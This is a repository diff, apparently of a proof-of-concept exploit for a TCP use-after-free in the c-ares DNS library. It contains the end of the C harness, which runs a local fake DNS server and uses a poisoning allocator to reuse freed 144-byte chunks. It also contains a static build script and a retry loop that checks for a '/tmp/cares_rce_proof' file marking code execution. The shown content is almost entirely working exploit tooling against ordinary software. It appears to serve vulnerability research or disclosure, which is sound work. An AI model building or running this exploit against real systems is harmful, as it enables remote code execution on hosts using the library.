int *done = (int *)arg;
|
||||
(void)status;
|
||||
(void)timeouts;
|
||||
if (res != NULL) {
|
||||
ares_freeaddrinfo(res);
|
||||
}
|
||||
*done = 1;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
int pipefd[2];
|
||||
pthread_t tid;
|
||||
server_ctx_t ctx;
|
||||
ares_channel_t *channel = NULL;
|
||||
struct ares_options opts;
|
||||
struct ares_addrinfo_hints hints;
|
||||
int optmask = ARES_OPT_FLAGS | ARES_OPT_LOOKUPS;
|
||||
char server[64];
|
||||
int done = 0;
|
||||
int loops = 0;
|
||||
char ch;
|
||||
|
||||
signal(SIGPIPE, SIG_IGN);
|
||||
memset(&ctx, 0, sizeof(ctx));
|
||||
if (argc > 1 && strcmp(argv[1], "udp") == 0) {
|
||||
ctx.udp_start = 1;
|
||||
}
|
||||
if (argc > 1 && strcmp(argv[1], "poison") == 0) {
|
||||
use_poison_allocator = 1;
|
||||
}
|
||||
if (argc > 1 && strcmp(argv[1], "reuse144") == 0) {
|
||||
use_poison_allocator = 1;
|
||||
reuse_144 = 1;
|
||||
}
|
||||
if (argc > 1 && strcmp(argv[1], "controlcall") == 0) {
|
||||
use_poison_allocator = 1;
|
||||
control_call = 1;
|
||||
}
|
||||
if (argc > 2 && strcmp(argv[2], "poison") == 0) {
|
||||
use_poison_allocator = 1;
|
||||
}
|
||||
if (argc > 2 && strcmp(argv[2], "reuse144") == 0) {
|
||||
use_poison_allocator = 1;
|
||||
reuse_144 = 1;
|
||||
}
|
||||
if (argc > 2 && strcmp(argv[2], "controlcall") == 0) {
|
||||
use_poison_allocator = 1;
|
||||
control_call = 1;
|
||||
}
|
||||
load_poison_byte();
|
||||
if (pipe(pipefd) != 0) {
|
||||
return 2;
|
||||
}
|
||||
ctx.ready_fd = pipefd[1];
|
||||
if (pthread_create(&tid, NULL, server_thread, &ctx) != 0) {
|
||||
return 2;
|
||||
}
|
||||
if (read(pipefd[0], &ch, 1) != 1) {
|
||||
return 2;
|
||||
}
|
||||
close(pipefd[0]);
|
||||
close(pipefd[1]);
|
||||
|
||||
if (use_poison_allocator) {
|
||||
if (trace_allocator) {
|
||||
fprintf(stderr, "allocator mode poison=%02x reuse144=%d\n",
|
||||
(unsigned int)poison_byte, reuse_144);
|
||||
}
|
||||
ares_library_init_mem(ARES_LIB_INIT_ALL, tracked_malloc, tracked_free,
|
||||
tracked_realloc);
|
||||
} else {
|
||||
ares_library_init(ARES_LIB_INIT_ALL);
|
||||
}
|
||||
memset(&opts, 0, sizeof(opts));
|
||||
opts.flags = ARES_FLAG_EDNS;
|
||||
if (!ctx.udp_start) {
|
||||
opts.flags |= ARES_FLAG_USEVC;
|
||||
}
|
||||
opts.lookups = (char *)"b";
|
||||
if (ares_init_options(&channel, &opts, optmask) != ARES_SUCCESS ||
|
||||
channel == NULL) {
|
||||
return 2;
|
||||
}
|
||||
snprintf(server, sizeof(server), "127.0.0.1:%d", ctx.port);
|
||||
if (ares_set_servers_ports_csv(channel, server) != ARES_SUCCESS) {
|
||||
return 2;
|
||||
}
|
||||
memset(&hints, 0, sizeof(hints));
|
||||
hints.ai_family = AF_INET;
|
||||
ares_getaddrinfo(channel, "example.com", "80", &hints, ai_cb, &done);
|
||||
|
||||
while (!done && loops++ < 100) {
|
||||
fd_set rfds;
|
||||
fd_set wfds;
|
||||
int nfds;
|
||||
struct timeval tv;
|
||||
struct timeval *tvp;
|
||||
FD_ZERO(&rfds);
|
||||
FD_ZERO(&wfds);
|
||||
nfds = ares_fds(channel, &rfds, &wfds);
|
||||
if (nfds == 0) {
|
||||
break;
|
||||
}
|
||||
tvp = ares_timeout(channel, NULL, &tv);
|
||||
select(nfds, &rfds, &wfds, NULL, tvp);
|
||||
ares_process(channel, &rfds, &wfds);
|
||||
}
|
||||
|
||||
ares_destroy(channel);
|
||||
ares_library_cleanup();
|
||||
pthread_join(tid, NULL);
|
||||
return done ? 0 : 1;
|
||||
}
|
||||
32
c-ares-tcp-uaf-calc-poc/scripts/build_from_checkout.sh
Executable file
32
c-ares-tcp-uaf-calc-poc/scripts/build_from_checkout.sh
Executable file
@@ -0,0 +1,32 @@
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
if [ "$#" -lt 2 ]; then
|
||||
echo "usage: $0 /path/to/c-ares /path/to/build-dir [output-binary]" >&2
|
||||
exit 2
|
||||
fi
|
||||
|
||||
srcdir=$1
|
||||
builddir=$2
|
||||
out=${3:-cares_tcp_uaf_calc_poc}
|
||||
jobs=${JOBS:-4}
|
||||
root=$(cd "$(dirname "$0")/.." && pwd)
|
||||
|
||||
cmake -S "$srcdir" -B "$builddir" \
|
||||
-DCARES_SHARED=OFF \
|
||||
-DCARES_STATIC=ON \
|
||||
-DCARES_BUILD_TESTS=OFF \
|
||||
-DCARES_BUILD_TOOLS=OFF \
|
||||
-DCMAKE_BUILD_TYPE=Debug
|
||||
|
||||
cmake --build "$builddir" --target c-ares --parallel "$jobs"
|
||||
|
||||
gcc -static -g -O0 -Wall -Wextra \
|
||||
-I"$srcdir/include" \
|
||||
-I"$builddir" \
|
||||
"$root/poc/cares_tcp_uaf_calc_poc.c" \
|
||||
"$builddir/lib/libcares.a" \
|
||||
-pthread \
|
||||
-o "$out"
|
||||
|
||||
file "$out"
|
||||
20
c-ares-tcp-uaf-calc-poc/scripts/run_until_hit.sh
Executable file
20
c-ares-tcp-uaf-calc-poc/scripts/run_until_hit.sh
Executable file
@@ -0,0 +1,20 @@
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
bin=${1:-./cares_tcp_uaf_calc_poc}
|
||||
tries=${TRIES:-25}
|
||||
|
||||
rm -f /tmp/cares_rce_proof_*
|
||||
|
||||
for i in $(seq 1 "$tries"); do
|
||||
set +e
|
||||
"$bin" controlcall
|
||||
rc=$?
|
||||
set -e
|
||||
echo "run=$i rc=$rc"
|
||||
if [ "$rc" -eq 77 ]; then
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
cat /tmp/cares_rce_proof_latest 2>/dev/null || true
|
||||
Reference in New Issue
Block a user